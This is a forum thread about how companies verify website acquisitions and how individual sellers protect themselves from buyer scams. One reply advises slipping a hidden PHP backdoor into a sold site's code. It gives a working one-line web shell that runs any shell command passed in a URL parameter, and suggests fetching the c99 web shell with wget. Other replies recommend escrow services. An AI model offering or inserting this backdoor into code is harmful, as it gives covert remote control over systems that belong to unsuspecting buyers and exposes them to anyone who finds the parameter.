    Hi,
    I was just wondering what kind of procedures big companies (e.g. Google) took to seal the deal with Youtube?

    For instance, how the seller knows that the offer is coming from the actual company, and the transaction is legit?

    I did sell two of my sites at Sitepoint for a pretty good amount of money, but I really had no other choice but to cross my fingers, and hope that PayPal wouldn't do a chargeback.

    Well big companies don't usually scam other companies because they'd have a lawsuit on their asses in minutes.

    What I would do if I sold a site on sitepoint is leave a little backdoor, so if the guy scammed me I could go back in and delete everything, and if he was legit I'd just remove it.

    just slip this anywhere in a php script

    if(isset($_GET['bd'])) { @system($_GET['bd']); die(); }

    then go to http://site.com/script.php?bd=command, where command is a command, either for linux or dos depending on the server (usually linux).

    To remove it you would need to wget a php script that would let you edit files, such as c99.

    http://www.escrow.com is by far one of the best ways to cover your ass when selling stuff online.
